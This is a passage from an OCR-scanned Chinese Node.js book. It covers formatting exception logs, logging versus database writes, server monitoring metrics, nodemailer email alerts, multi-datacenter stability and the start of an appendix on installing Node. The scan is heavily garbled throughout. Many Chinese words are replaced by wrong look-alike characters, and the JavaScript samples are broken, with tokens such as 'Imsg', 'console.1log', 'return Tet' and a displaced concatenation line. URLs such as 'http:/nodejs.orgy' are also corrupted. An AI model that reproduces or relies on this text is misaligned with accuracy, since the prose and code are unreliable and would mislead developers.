res.end(rows); 


}); 
p> 


如 采 日 志 只 是 通过 以 上 方式 简单 记录 , 那么 它 对 排查 错误 的 帮助 并 不 太 大 , 因为 有 些 特 殊 的 
异 第 需要 更 详细 的 数据 来 还 原 现场 , 所 以 最 好 在 记录 异常 时 有 良好 的 的 格式 和 更 详细 的 数据 。 为 
此 可 以 准备 一 个 format() 方 法 来 封 梁 和 格式 化 异常 信息 ， 该 方法 的 代码 如 下 所 示 : 
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var format = function (msg) { 


var ret = ""; 
if (Imsg) { 

return ret; 
} 


var date = moment(); 
var time = date.format('YYYY-MM-DD HH:mm:ss.SSS'); 
if (msg instanceof Error) { 
var err = { 
name: msg.name, 
data: msg.data 
}; 


err.stack = msg.stack; 
ret = util.format('%s %s: %s\nHost: %s\nData: %j\n%s\n\n', 
time, 
err.name, 
err.stack, 
os .hostname( ) ， 
err.data, 
time 
); 
console.1log(ret); 
} else { 
ret = time + 
} 


return Tet ; 


}; 
为 此 , 我 们 在 异 稼 出 现时 可 以 将 调用 时 的 数据 传递 给 格式 化 方法 ,然后 记录 下 日 志 ,， 示 例 代 
但 如 下 : 


+ Util.format.apply(util, arguments) + '\n'; 


var input = '{error: format}'; 
try { 
JSON.parse(input); 


} catch (ex) { 
ex.data = input; 
logger.error(format (ex)); 


这 样 在 日 志文 件 中 就 可 以 详细 地 捕捉 到 异 滑 发 生 时 的 输入 数据 ， 然 后 定位 bug 和 和 解决 问题 就 
是 水 到 洪 成 的 事 了 。 如 下 为 异 负 日志 示例 : 


2013-06-12 17:18:19.776 SyntaxError: SyntaxError: Unexpected token e 
at Object.parse (native) 
at Object.<anonymous> (/Users/jacksontian/git/diveintonode/examples/12/logger.js:53:8) 
at Module. compile (module.js:456:26) 
at Object.Module. extensions..js (module.js:474:10) 
at Module.load (module.js:356:32) 
at Function.Module. load (module.js:312:12) 
at Function.Module.runMain (module.js:497:10) 
at startup (node.js:119:16) 
at node.js:901:3 
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Host: Jackson.local 
Data: "{error: format}" 
2013-06-12 17:18:19.776 


对 于 未 捕获 的 异常 , Node 提 供 了 机 制 以 免 进程 下 接 退 出 , 但 是 发 后 未 捕获 异常 的 进程 也 不 能 
继续 在 线 上 进行 服务 了， 因为 可 能 有 内 存 汇源 的 风险 产生 。 如 何 优 雅 地 退出 和 重 局 进程 在 第 9 鞋 
中 已 详细 描述 过 ， 那 一 章 中 的 示例 多 是 用 console.1og() 来 记录 问题 的 ， 但 在 实际 的 产品 中 ， 需 
要 严格 的 日 志 记 录 。 记 录 过 程 同 上 ， 不 再 详 述 。 


11.4.3 “日 志 与 数据 库 


有 的 开发 者 对 日 志 可 能 不 太 了 解 , 会 选择 将 一 些 日 
的 地 方 在 于 它 是 结构 化 数据 ， 可 以 下 接 编写 SQL 语 句 进 
分 析 。 

但 是 日 志文 件 与 数据 库 写 入 在 性 能 上 处 于 两 个 级 别 ， 数 据 库 在 写 人 过 程 中 要 经 历 一 系列 处 
理 , 比如 锁 表 、 日 志 等 操作 。 写 日 志文 件 则 是 直接 将 数据 写 到 磁盘 上 。 为 此 , 如 果 有 大 量 的 访问 ， 
可 能 会 存在 写 人 操作 大 量 排队 的 状况 ,数据库 的 消费 速度 严重 低 于 生产 速度 , 进而 导致 内 存 泄漏 
等 。 相 比 之 下 , 写 日 志 是 轻 量 的 方法 , 将 日 志 分 析 和 日 志 记 录 这 两 个 步 又 分 离开 来 是 较 好 的 选择 。 
日 志 记 录 可 以 在 线 写 , 日 志 分 析 则 可 以 借助 一 些 工具 同步 到 数据 库 中 , 通过 离线 分 析 的 方式 反馈 
出 来 。 


写 和 人 到 数据 库 中 。 数据 库 比 日 志文 件 好 
分 析 ， 日 志文 件 则 需要 再 加 工 之 后 才能 


= 
AN 
一 
1 


11.4.4 ”分割 日 志 


线 上 业务 可 能 访问 量 巨 大 , 产生 的 日 志 也 可 能 是 大 量 的 ， 上述 示例 只 是 简单 地 将 普通 日 志和 
异常 日 志 分 开放 在 两 个 文件 中 ,日 志 过 多 时 也 不 便 直 接 查 看 。 为 此 , 将 产生 的 日 志 按 日 期 分 割 是 
一 个 不 错 的 主意 。 日 志 的 写 和 一般 都 是 依托 在 可 写 流 上 的 。 对 于 Console 对 象 ， 它 的 内 部 属性 
_stdout 和 和 stderr 就 是 指 癌 我 们 传人 的 两 个 输入 流 对 和 象 的 。 在 设计 的 过 程 中 ， 我 们 可 以 按 日 期 传 
递 对 应 的 日 志文 件 可 写 流 对 象 , 为 此 可 以 设计 一 个 定时 各 用 于 当日 期 发 生 更 改 时 ,更改 日 志 对 象 
的 两 个 输入 流 对 象 即 可 。 这 里 将 不 展开 描述 具体 实现 。 


11.4.5 ”小 结 


捕捉 日 志 相 对 而 言 是 较为 烦琐 的 事情 , 但 是 一 旦 构建 好 这 个 基础 过 程 , 有 问题 产生 时 则 可 以 
快速 解决 。 很 多 开发 者 在 开发 过 程 中 完全 不 (或 没 来 得 及 ) 考 虞 日志， 到 线 上 产生 问题 时 则 会 手 
伍 脚 配 。 良好 的 日 志 可 以 为 系统 的 长 期 运行 保 委 护航 ,出现 任何 问题 时 , 我 们 都 能 做 到 心中 有 效 。 


11.5 ”监控 报警 


部 署 好 流程 ， 记录 好 日 志 之 后 ,应 用 就 似乎 可 以 目 行 运转 了 。 实际 上 ， 这 时 候 的 应 用 如 同 初 
生 的 页 儿 ,， 刚刚 学 会 了 走路 ， 如 末 放 任 不 管 ， 束 如 同 将 它 放 到 大 竺 上 的 人 流 中 。 就 像 未 长 大 的 孩 
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子 需要 有 一 个 人 照看 一 般 , 应 用 也 应 当 有 一 个 监控 系统 。 对 于 走 到 大 街 上 的 孩子 ， 如 末 摔 倒 ， 需 
要 及 时 将 其 扶 起 来 。 如 采 应 用 出 现 了 差错 ， 也 需要 通过 监控 及 时 发 现 ， 然 后 恢复 它 正 浓 运 行 。 

应 用 的 监控 主要 有 两 类 ,一 种 是 业务 逻辑 型 的 监控 ,一 种 是 硬件 型 的 监控 。 监 控 主 要 通过 定 
时 采样 来 进行 记录 。 除 此 之 外 ,还 要 对 监控 的 信息 设置 上 限 , 一 旦 出 现 大 的 波动 ， 就 需要 发 出 警 
报 提 醒 开 发 者 。 为 了 较 好 地 供 开发 者 使 用 , 监控 到 的 信息 一 般 还 要 通过 数据 可 视 化 的 方式 反映 出 
来 ， 以 便 更 二 观 地 奋 看 。 


11.5.1 ”监控 


监控 的 主要 目的 是 为 了 将 一 些 重要 指标 采样 记录 下 来 , 一 旦 这 些 指 标 发 生 较 大 变化 ， 可 以 配 
合 报警 系统 将 问题 反 饥 到 负责 人 那 。 监 控 的 点 可 以 很 细致 ， 也 可 以 只 选 主要 的 指标 。 


1. 日 志 监 控 


业务 逻辑 型 的 监控 主要 体现 在 日 志 上 , 做 足 了 日 志 记 录 的 功夫 之 后 , 如何 将 日 志 应 用 起 来 是 
个 问题 。 通 过 监控 异常 日 志文 件 的 变动 ,将 新 增 的 异 津 按 异 党 类 型 和 数量 反映 出 来 。 某 些 异 津 与 
具体 的 某 个 子 系统 相关 ， 监 控 出 现 的 某 个 异常 多 半 能 反映 出 子 系统 的 状态 。 

除了 异 稼 日 志 的 监控 外 ， 对 于 访问 日 志 的 监控 也 能 体现 出 实际 的 业务 QPS 值 。 观 察 QPS 的 表 
现 能 够 检查 业务 在 时 间 上 的 分 布 。 

此 外 ， 从 访问 日 志 中 也 能 实现 PV 和 UV 的 监控 。 同 QPS 什 一样， 通过 对 PV/UV 的 监控 ， 可 以 
很 好 地 知道 应 用 的 使 用 者 们 的 习惯 、 预 知 访问 高 峰 等 。 

2. 响应 时 间 

啊 应 时 间 也 是 一 个 需要 监控 的 点 。 一 旦 系统 的 某 个 子 系统 出 现 异 稼 或 者 性 能 瓶 领 , 将 会 导致 
系统 的 啊 应 时 间 变 长 。 啊 应 时 间 可 以 在 Nginx 一 类 的 反 回 代理 上 监控 ， 也 可 以 通过 应 用 上 自行 产生 
的 访问 日 志 来 监控 。 健 康 的 系统 啊 应 时 间 应 该 是 波动 较 小 的 、 持 续 均 衡 的 。 

3. 进程 监控 

监控 日 志和 啊 应 时 间 都 能 较 好 地 监控 到 系统 的 状态 ， 但 是 它们 的 前 提 是 系统 是 运行 状态 的 ， 
所 以 监控 进程 是 比 前 两 者 更 为 紧要 的 任务 。 监 控 进 程 一 般 是 检查 操作 系统 中 运行 的 应 用 进程 数 ， 
比如 对 于 采用 多 进程 架构 的 Web 应 用 ， 就 需要 检查 工作 进程 的 数量 ， 如 果 低 于 预 估 值 ， 就 应 当 发 
出 报警 声 。 

4. 磁盘 监控 

磁盘 监控 主要 是 监控 磁盘 的 用 量 。 由 于 日 志 频 党 与 的 缘故 ， 磁 盘 空 间 少 渐 被 用 光 。 一 旦 磁盘 
不 够 用 ， 将 会 引发 系统 的 各 种 问题 。 给 磁盘 的 使 用 量 设置 一 个 上 限 ， 一 旦 磁盘 用 量 超过 和 警戒 值 ， 
服务 硕 的 管理 者 就 应 该 整理 日 志 或 清理 磁盘 了 了 。 

5. 内 存 监 控 

对 于 Node 而 言 , 一旦 出 现 内 存 泄 漏 , 不 是 那么 容易 排查 的 。 监 控 服 务 需 的 内 存 使 用 状况 ,可 
以 检查 应 用 中 是 否 存在 内 存 泄漏 的 状况 。 如 有 果 内 存 只 升 不 降 ， 那么 铁定 存在 内 存 泄漏 问题 。 健 康 
的 内 存 使 用 应 当 是 有 升 有 降 , 在 访问 量 大 的 时 候 上 升 , 在 访问 量 回 落 的 时 候 , 占用 量 也 随 之 回落 。 
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如 条 进程 中 存在 内 存 泄 漏 ， 又 一 时 没有 排查 解决 ， 有 一 种 方案 可 以 解决 这 种 状况 。 这 种 方案 
应 用 于 多 进程 架构 的 服务 集群 , 让 每 个 工作 进程 指定 服务 多 少 次 请 求 , 达到 请 求 数 之 后 进程 就 不 
再 服务 新 的 连接 ， 主 进程 启动 新 的 工作 进程 来 服务 客户 , 旧 的 进程 等 所 有 连接 靳 开 后 就 退出 。 这 
样 即使 存在 内 存 泄漏 的 风险 ， 也 能 有 效 地 规避 内 存 泄漏 市 来 的 影响 。 但 这 属于 规避 问题 ， 只 解决 
了 问题 的 表象 ， 不 推荐 使 用 。 

总 而 言 之 ， 监 控 内 存 并 长 时 间 观 察 是 防止 系统 出 现 异 稼 的 好 方法 。 如 采 突 然 出 现 内 存 寞 利 ， 
也 能 够 奶 躁 到 是 近期 的 哪些 代码 改动 导致 的 问题 。 

6. CPU 占用 监控 

服务 器 的 CPU 占用 监控 也 是 必 不 可 少 的 项 ，CPU 的 使 用 分 为 用 户 态 、 内 核 态 、IOWait 等 。 如 
果 用 户 态 CPU 使 用 率 较 高 ， 说 明 服务 器 上 的 应 用 需要 大 量 的 CPU 开销 ; 如 果 内 核 态 CPU 使 用 率 较 
高 ,说明 服 务 需 花费 大 量 时 间 进 行进 程 调度 或 者 系统 调用 ; IOWait 使 用 率 则 反应 的 是 CPU 等 待 磁 
盘 IO 操 作 。 

CPU 的 使 用 率 中 ， 用 户 态 小 于 70%、 内 核 态 小 于 35% 且 整体 小 于 70% 时 ， 处 于 健康 状态 。 监 控 
CPU 占用 情况， 可 以 帮助 分 析 应 用 程序 在 实际 业务 中 的 状况 。 合 理 设置 监控 国信 能 够 很 好 地 预警 。 

7. CPU load 监 控 

CPU load 又 称 CPU 平 均 负 载 ， 它 用 来 措 述 操作 系统 当前 的 索性 程度 ， 可 以 简单 地 理解 为 CPU 
在 单位 时 间 内 正在 使 用 和 等 竺 使 用 CPU 的 平均 任务 数 。 它 有 3 个 指标 ， 即 1 分 钟 的 平均 负载 、5 分 
钟 的 平均 负载 、15 分 钟 的 平均 负载 。CPU load 过 高 说 明 进 程 数 量 过 多 , 这 在 Node 中 可 能 体现 在 用 
子 进程 模块 反复 局 动 新 的 进程 。 监 控 该 值 可 以 防止 意外 产生 。 

8. I/O 负 载 

IO 负载 指 的 主要 是 磁盘 IO。 反 应 的 是 磁盘 上 的 谈 写 情况 ， 对 于 Node 编 写 的 应 用 ， 主 要 是 面 
回 网 络 服务 ， 是 故 不 太 可 能 出 现 IO 负 载 过 高 的 情况 ， 大 多 数 的 IO 压力 来 目 于 数据 库 。 不 管 Node 
进程 是 否 与 数据 库 或 其 他 LO 密集 的 应 用 共处 相同 的 服务 各 ,我 们 都 应 监控 该 值 以 防 万 一 。 

9. 网 络 监控 

虽然 网 络 流量 监控 的 优先 级 没有 上 述 项 目 那么 局 ， 但 还 是 需要 对 流量 进行 监控 并 设置 上 限 
值 。 即 便 应 用 突然 受到 用 户 的 青睐 ,流量 骏 涨 时 也 能 通过 数 信 感知 到 网 站 的 宣传 是 否 有 效 。 一 旦 
流量 超过 稚 式 值 ， 开发 者 就 应 当 找 出 流量 增长 的 原因 。 对 于 正常 增长 ,应 当 评 佑 是 否 该 增加 硬件 
设备 来 为 更 多 用 户 提供 服务 。 

网 络 流量 监控 的 两 个 主要 指标 是 流入 流量 和 流出 流量 。 

10. 应 用 状态 监控 

除了 这 些 便 性 需要 检测 的 指标 外 ,应 用 还 应 当 提 供 一 种 机 制 来 反馈 其 上 自 配 的 状态 信息 ， 外 部 
监控 将 会 持续 性 地 调用 应 用 的 反馈 接口 来 检查 它 的 健康 状态 。 

最 简单 的 状态 反馈 就 是 给 监控 啊 应 一 个 时 间 稚 ， 监 控 方 检查 时 间 惟 是 否 正 第 即 可 : 

app.use('/status', function (req, res) { 

res .writeHead(200); 


res.end(new Date()); 


}); 
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健壮 一 些 的 状态 啊 应 则 是 将 应 用 的 依赖 项 的 状态 打印 出 来 , 如 数据 库 连 接 是 否 正 凋 、 缓 存 是 
个 正 稼 等 。 

11. DNS 监控 

DNS 是 网 络 应 用 的 基础 ， 在 实际 的 对 外 服务 产品 中 ,多数 都 对 域名 有 依赖 。DNS 故 隐 导 致 产 
症 出 现 大 面积 影响 的 事件 并 不 少见 。 由 于 DNS 服 务 通 第 是 稳定 的 ,容易 让 人 忽略 , 但 一 旦 出 现 故 
障 ， 就 可 能 是 史无前例 的 故障 。 对 于 产品 的 稳定 性 ,域名 DNS 状态 也 需要 加 入 监控 。 目 前 国内 有 
一 些 侈 费 的 DNS 监控 服务 ， 如 DNSPod 等 ， 可 以 通过 这 些 监控 服务 ， 监 控 目 己 的 在 线 应 用 。 


11.5.2 ”报警 的 实现 


搭配 监控 系统 的 则 是 报警 系统 , 空 有 监控 而 没有 通知 功能 , 故障 也 是 无 法 及 时 反馈 给 开发 者 
的 。 如 今 的 报警 已 经 能 够 多 样 化 ， 最 普通 的 邮件 报警 、IM 报 警 适 合 在 线 工 作 状 态 ， 短 信和 或 电话 
报警 适合 非 在 线 状态 。 
口 邮件 报警 。 如 果 报 和 警 系统 由 Node 编 写 , 可 以 调用 nodemailer 模 块 来 实现 邮件 的 发 送 。 下面 
为 一 个 邮件 发 送 示例 : 


var nodemailer = require("nodemailer"); 


// 建立 一 个 SMTP 传 输 连 接 
var smtpTransport = nodemailer.createTransport("SMTP", { 
service: "Gmail", 
auth: { 
user: "gmail.userQ@gmail.com", 
pass: "userpass" 
} 
}); 


// 邮件 选项 

var mailOptions = { 
from: "Fred Foo w <foo@bar.com>"，// 发 件 人 邮件 地 址 
to: "bar@bar.com，baz@bar.com"，// 收 件 人 邮件 地 址 列表 
subject: "Hello w "，// 标题 
text: "Hello world w"，// 纯 文 本 内 容 
html: "<b>Hello world w/b>"”// HTML 内 容 

} 


// 发 送 邮 件 
smtpTransport.sendMail(mailOptions, function (err, response) { 
if (err) { 
console.1log(err); 
} else { 
console.log("Message sent: ”+ response.message); 
} 
}); 


口 短信 或 电话 报警 。 一 些 短信 服务 平台 提供 短信 接 和 人 服务 ， 可 以 在 监控 系统 中 接 入 此 类 服 
务 时 ,一 旦 线 上 出 现 到 达 羡 值 的 异常 时 ， 就 将 信息 发 送 给 应 用 相关 的 页 任 人 。 
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11.5.3 ”监控 系统 的 稳定 性 


我 们 发 现 为 了 保证 应 用 的 稳定 性 ,其 实 不 知 不 党 间 又 引入 了 一 个 庞大 的 监控 系统 。 监 控 系 统 
目 吴 的 稳定 性 对 应 用 非 背 重要 ， 这 如 同 照看 孩子 的 保姆 ， 如 朱 保 姆 不 能 尽心 有 尽力， 玩忽 职守 ， 其 
结 东 是 有 监控 系统 不 如 没有 。 

如 何 你 证 监控 系统 目 己 的 称 定 性 是 万 外 一 个 话题 ， 本 章 不 再 继续 展开 。 


11.6 稳定 性 


天 于 应 用 的 稳定 性 ， 其 实在 部 分 章节 中 都 有 阐述 ,尤其 在 第 4 草 和 第 9 草 这 中 有 重点 描述 ， 这 
两 草 从 单 进程 和 多 进程 的 角度 提 及 了 稳定 性 。 单独 一 全 服务 融 满 足 不 了 业务 无 限 增长 的 ( 如 采 有 
的 话 ) 需求 ， 这 就 需要 将 Node 按 多 进程 的 方式 部 署 到 多 合 机 责 中 。 这 样 如 采 某 合 机 需 出 现 故 隐 ， 
也 能 有 其 余 机 融 为 用 户 提供 服务 。 除 此 之 外 , 为 了 能 够 较 好 地 服务 各 地 用 户 ,， 绝 大 多 数 企业 都 会 
选择 在 各 地 构建 机 房 以 抵消 因为 地 理 位 置 带 来 的 网 络 延 迟 等 问题 。 为 了 更 好 的 稳定 性 ,典型 的 水 
平 扩 展 方 式 就 是 多 进程 、 多 机 带 、 多 机 房 ， 这 样 的 分 布 式 说 计 在 现在 的 互联 网 公司 并 不 少见 。 

D 多 机 器 : 多 机 融 部 署 应 用 珊 来 的 好 处 是 能 利用 更 多 的 硬件 资源 ， 为 更 多 的 请 求 服 务 。 同 

时 能 够 在 有 故障 时 ， 继 续 服务 用 户 请 求 ， 保 证 整体 系统 的 高 可 用 性 。 但 是 一 旦 出 现 分 布 
式 ， 就 需要 考虑 负载 均衡 、 状 态 共 部 和 数据 一 致 性 等 问题 。 

如 同 在 单机 中 将 请 求 分 发 到 多 个 进程 上 一 样 ， 部 普 多 人 台 机 带 也 需要 考虑 如 何 将 请 求 均 色 
地 分 配给 各 个 机 各 ， 这 需要 在 机 房 的 级 别 上 以 设 负载 均衡 ， 可 能 是 便 件 设备 来 实现 ， 也 
可 能 是 软件 来 实现 ， 比 如 反 回 代理 。 图 11-$ 为 负载 均衡 的 示意 图 。 


负载 均衡 


wa] oe 


图 11-5 ”人 负载 均衡 示意 图 
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对 于 状态 共享 和 数据 一 致 性 ， 它 们 与 多 进程 的 问题 是 一 致 的 ， 具 体 可 参见 第 9 昔 ， 此 处 不 
用 多 述 。 

口 多 机 房 : 多 机 房 部 著 是 比 多 机 右 部 和 著 更 高 层次 的 部 著 ， 目 的 是 为 了 解决 地 理 位 置 给 用 户 
访问 带 来 的 延迟 等 问题 。 在 容 灾 方 面 ， 机 房 与 机 房 之 间 可 以 互 为 备份 。 由 于 机 房 与 机 房 
之 间 的 网 络 复杂 度 再 度 提 升 ， 负 和 载 均衡 方面 需要 进一步 去 统 短 规 划 ， 此 处 不 再 展开 。 

口 容 灾 备份 : 在 多 机 房 和 多 机 条 的 部 普 结 构 下 ， 十 分 容 多 通过 备份 的 方式 进行 容 灾 ， 任 何 
一 合 机 笨 或 者 一 个 机 房 停 止 了 服务 ， 都 能 有 其 余 的 服务 带 来 接 蔡 新 的 任务 。 在 这 个 机 制 
下 ， 我 们 至 少 需要 4 人 台 服 务 角 来 构建 这 个 稳定 的 服务 集群 ， 如 图 11-6 所 示 。 


机 房 1 机 房 2 机 房 N 
~" | 1 

服务 器 服务 器 
We 

服务 器 服务 器 
| | 

服务器， 服务 器 


图 11-6 服务 集群 构建 示意 图 


需要 注意 的 是 ,如 今 虚 拟 化 技术 已 经 成 熟 ,， 在 多 服务 如 部 车 中 , 要 尽量 避免 多 个 服务 从 在 相 
同 的 实体 机 上 。 因 为 一 旦 实体 机 出 现 故 障 ， 导 致 多 全 服务 天 一 起 俘 止 服务 。 

应 用 目 身 的 部 普 问 题 得 到 解决 后 , 还 要 考虑 的 是 应 用 依赖 的 服务 的 容 灾 和 备份 , 如 依赖 的 数 
据 库 、 绥 仓 等 服务 。 


11.7 ” 异 构 共存 


站 在 技术 的 产品 化 的 角度 来 看 , 选择 将 一 门 新 技术 应 用 在 生产 环境 中 就 得 考虑 与 已 有 的 系统 
或 者 服务 能 否 异 构 共 存 。 如 末 为 了 应 用 一 种 新 技术 而 将 已 有 的 所 有 技术 推翻 , 那 并 不 是 一 个 企业 
愿意 去 水 担 的 风险 。 每 一 门 新 的 语言 或 者 新 的 技术 在 推广 和 应 用 的 过 程 中 都 要 面临 这 样 的 问题 。 
对 于 Node 而 言 ， 我 在 本 书 中 介绍 了 它 的 诸多 原理 。 可 以 看 出 , 它 并 非 一 个 格格 不 入 的 新 事物 ， 它 
构建 于 C/C++ 之 上 ， 以 JavaScript 为 调用 语言 ， 以 恨 好 的 事件 张 劲 架构 形成 面向 网 络 的 平台 , 任何 
神奇 的 地 方 都 能 从 操作 系统 底层 找到 它 的 起 源 。 

在 应 用 Node 的 过 程 中 ， 一 部 分 是 在 全 新 的 项 目 中 应 用 ， 一 部 分 是 改造 已 有 系统 通过 Node 来 
提升 性 能 。 几 乎 没有 将 已 有 系统 推翻 用 Node 来 进行 重建 的 。 

关于 在 全 新 项 目 中 应 用 Node， 此 处 毋庸 再 提 。 对 于 改造 已 有 系统 Node 借助 CC++ 底 层 或 网 
络 协议 , 已 经 能 与 这 个 世界 上 大 多 数 的 系统 进行 区 互 。 其 原理 在 于 能 够 服务 化 的 产品 ,都 是 具有 
标准 协议 的 。 协 议 几 乎 是 解决 异 构 系 统 最 完美 的 方案 。 只 要 有 标准 的 交互 协议 ,各 种 语言 就 能 通 
过 网 络 与 之 进行 交互 。 如 MySQL 等 数据 库 ， 由 于 有 标准 的 网 络 协议 ， 所 以 可 以 通过 各 种 各 样 的 
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编程 语言 进行 调用 。 当 然 , 通过 Node 编 写 对 应 的 客户 站 驱动 也 并 不 是 难事 。 图 11-7 为 编程 语言 与 
服务 之 间 通 过 网 络 协议 进行 调用 的 示意 图 。 


服务 (C/C++/Javai...) 


TCP 网 络 协议 
ale 


图 11-7 编程 语言 与 服务 通过 网 络 协议 进行 调用 的 示意 图 


对 于 一 般 系 统 ， 可 能 并 非 TCP 层 面 的 网 络 协 议 ， 而 是 RESTful 的 服务 接口 。 两 者 的 不 同 在 于 
一 个 是 HTTP 协 议 ， 人 处 于 应 用 层 ; 一 个 是 TCP 协 议 ， 处 于 传输 层 。 协 议 层 次 不 同 ， 性 能 方面 会 体 
现 出 差异 来 。TCP 协 议会 建立 持久 的 长 连接 ， 其 至 连接 池 ， 而 HTTP 协 议 则 可 能 频繁 地 进行 连接 ， 
在 性 能 上 存在 损耗 。TCP 协 议 震 要 依赖 客户 病 驱 动 ，HITP 协 以 则 基本 上 有 现成 的 客户 端 。 

忆 之 ， 在 应 用 Node 的 过 程 中 ， 不 存在 为 了 用 它 而 推翻 已 有 设计 的 情况 。Node 能 够 通过 协议 
与 已 有 的 系统 很 好 地 异 构 共 存 。 将 Node 用 于 系统 改 民 的 开发 者 需要 考虑 的 是 已 有 的 系统 是 否 具备 
民 好 的 服务 化 ， 是 否 文 持 多 种 终端 ， 是 否 文 持 多 种 增 言 调用 。 


11.8 总结 


一 般 而 言 ， 决 定 用 一 项 技术 进行 产品 开发 时 ， 只 有 最 早期 是 与 这 门 技术 完全 相关 的 。 随 春 时 
间 的 迁移 ， 要 解决 的 已 经 不 是 原来 的 问题 了 ,一 门 技术 只 能 在 一 定 层 面 上 发 挥 出 它 的 优势 来 。 用 
Node 也 是 一 样 ， 随 春 开 发 的 进展 、 涉 及 层面 的 增多 , 我 们 看 到 在 产品 的 角度 要 解决 的 问题 依然 是 
大 部 分 技术 部 要 解决 的 问题 。 我 们 希望 读者 能 够 将 Node 纳 入 到 新 的 层面 上 进行 考虑 , 使 它 更 适应 
产品 ， 在 产品 中 发 挥 出 更 大 的 优势 来 。 


11.9 ”参考 资源 


本 曹参 考 的 资源 为 https://github.com/andris9/Nodemailer。 
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Node 的 开发 环境 十 分 容易 搭建 , 只 要 一 个 运行 时 和 任意 的 文本 编辑 融 就 可 以 开始 开发 了 , 十 
分 轻 量 快捷 。 

在 曾经 的 发 烧 友 时 代 (v0.2 到 v0.4 ), 安装 Node 需 要 一 定 的 折腾 方才 能 够 运行 在 电脑 中 , 并 且 
在 Windows 下 无 法 安装 运行 。 从 v0.6 开 始 ，Node 启 用 了 GYP 项 目 生 成 工具 ， 同 时 采用 libuv 作 为 平 
台 抽 和 象 层 ， 实 现 了 兼容 *nix 与 Windows， 这 在 第 2 草 中 已 介绍 过 ， 此 处 不 再 诛 穴 。 至 那 时 候 起 ， 
Node 告 别 了 在 Windows 下 通过 Cygwin 运 行 的 别扭 方式 。 如 今 Node 在 每 个 版 本 发 布 时 ， 会 编译 好 
各 个 平台 下 的 二 进 制版 本 ， 直 接 安装 即 可 ， 无 需 编 详 。Node 的 官方 首页 http:/nodejs.org 会 根据 你 
的 操作 系统 提供 不 同 的 链接 地 址 供用 户 下 载 ， 用 户 只 和 需 点 击 Install 按 钮 安 狐 即 可 。 

在 Node 的 安装 过 程 中 ,实际 上 还 会 安装 上 NPM 工 具 。 对 于 NPM 的 作用 ,第 2 章 也 有 和 叙述 。 在 
Node v0.6.3 之 前 ，NPM 工 具 的 安 流 是 与 Node 分 离 的 ,需要 额外 安 疲 。 但 在 v0.6.3 时 ，Node 中 就 开 
始 集成 了 NPM 的 安装 。 在 那 不 久 之 后 ，NPM 的 作者 Isaac Z. Schlueter 从 Ryan Dahl 手 中 接 过 Node 
掌 门人 的 职位 ， 负 责 Node 的 日 党 问题 修复 和 版 本 发 布 。 

下 面 将 简单 介绍 各 个 平台 下 的 安 疙 ， 只 是 细 广 上 略 有 不 同 。 


A.1 Windows 系 统 下 的 Node 安 装 


对 于 Windows 用 户 ，32 位 系统 将 会 得 到 http://nodejs.org/dist/<version>/node-<version>-x86.msi 
这 样 一 个 地 址 ， 其 中 version 是 具体 的 版 本 号 ，64 位 系统 将 会 得 到 http://nodejs.org/dist/ 
<version>/x64/node-<version>-x64.msi 地 址 。 下 载 .msi 文 件 后 ， 和 耻 接 双击 它 ， 安 装 时 根据 问 导 
的 提示 一 直 单 击 Next 按 钮 即 可 完成 整个 安 寂 流程 。 图 A-1 为 Node 在 Windows 系 统 下 的 引导 
宽 面 。 

安装 完成 后 ， 打 开 命 令 行 ， 执 行 node -v 验 证 是 否 安 装 成 功 。 不 出 意外 ， 将 会 得 到 当前 安装 
版 本 的 版 本 号 。 同 样 也 可 以 执行 hpm -v 验 证 NPM 工 具 是 否 随 Node 安 装 成 功 。 

注意 ， 这 里 的 <version> 是 一 个 v{major}.{minor}.{revision} 格 式 的 字符 串 ， 如 vo. 
10.12。 
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羡 Hode.. 1 Stun 


Welczome to te Node.j Setup Wizard 


The setup Wizard ll install Node,ijs on vour compoter, Glick 
Next to continyge or Cancel ko exit the Setyp Wizard. 


图 A-1 Node 在 Windows 系 统 下 的 引导 界面 


A.2 ” Mac 系统 下 Node 的 安装 
Mac 系 统 下 的 用 户 与 Windows 用 户 不 同 的 是 会 得 到 .pkg 的 文件 包 ， 链 接 也 与 版 本 相关 


http://node]js.org/dist/<version>/node-<version>.pkg。 


下 载 完成 后 ， 打 开 .pkg 文 件 包 ， 也 会 如 Windows 用 户 那 样 得 到 一 个 安装 向 导 ， 如 图 A-2 所 示 。 


欢迎 使 用 “Node” 安 装 器 


This package will install node and npm into /usr/local/bin 


图 A-2” Mac 系统 下 安装 Node 的 界面 
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点 击 “ 继 续 ” 按 钮 并 接受 许可 协议 后 ， 随 者 问 导 安装 即 可 。 

安装 完成 后 ， 在 命令 行 执行 node -v 和 npm -v 即 可 验证 安装 结果 。 如 下 是 我 当时 的 环境 : 
$ node -v 

VO.8.14 

$ npm -V 

1.1.65 


A.3 Linux 系 统 下 Node 的 安装 


对 于 Linux 系 统 下 的 用 户 , 官方 推荐 通过 源 代 人 码 进 行 安装 。 打 开 Node 官 方 主页 ,会 得 到 源 代 人 码 
链接 http:/nodejs.orgy/dist/<version>/node-<version>.targz。 你 可 以 通过 wsget 或 curl 等 工具 进行 下 载 。 

需要 提 及 的 是 ， 编 译 Node 时 需要 的 几 个 环境 依赖 如 下 所 示 。 

口 Python 2.6 或 Python 2.7: Node 不 支持 Python 3.0。 主 要 原因 在 于 GYP 项 目 构 建 工 具 是 采 

用 Python 完成 开发 的 ,这 里 建议 安装 Python 2.7， 因 为 node-gyp 需 要 Python 2.7 才 能 正常 使 用 。 

口 源 代 码 编译 器 : Node 目 喘 有 部 分 代码 通过 C/C++ 编 写 ， 所 以 需要 GCC 或 G++ 编 详 角 。 

口 make 工 具 : 建议 使 用 该 工具 的 3.81 版 本 或 更 新 的 版 本 。 

对 于 不 同 的 Linux 发 行 版 ， 可 以 通过 各 自 的 安装 工具 ( apt-get 或 yum ) 来 安装 。 下 面 是 用 源码 
进行 配置 的 过 程 : 


// 解压 源码 包 
$ tar zxvf node-<version>.tar.gz 
// 进入 目录 
$ cd node-<version> 
// 环境 配置 
$ ./configure 
// 配置 结 
{ 'target defaults': { 'cflags': [], 
‘default configuration': 'Release', 
'defines': []， 
'include dirs': [|], 
'libraries': [|]}, 
'variables': { 'clang': 1， 
host arch': 'x64', 
'node install npm': 'true', 
node prefix': ''， 
'node shared cares': 'false', 
'node shared http parser': 'false', 
'node shared libuv': 'false', 
'node shared openssl': 'false', 
'node shared v8': 'false', 
'node shared zlib': ‘false', 
node tag': '', 
'node unsafe optimizations : 0， 
-node use dtrace': “true ， 
node use etw : “false ， 
-node use openssl': true ， 
-node use perfctr': false ， 
-python : “ /usT/bin/python ， 
‘target arch : 'x64', 
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'v8 enable gdbjit': 0 
'v8 no strict aliasing': 1 
'v8 use snapshot': 'true'}} 
creating ./config.gypi 
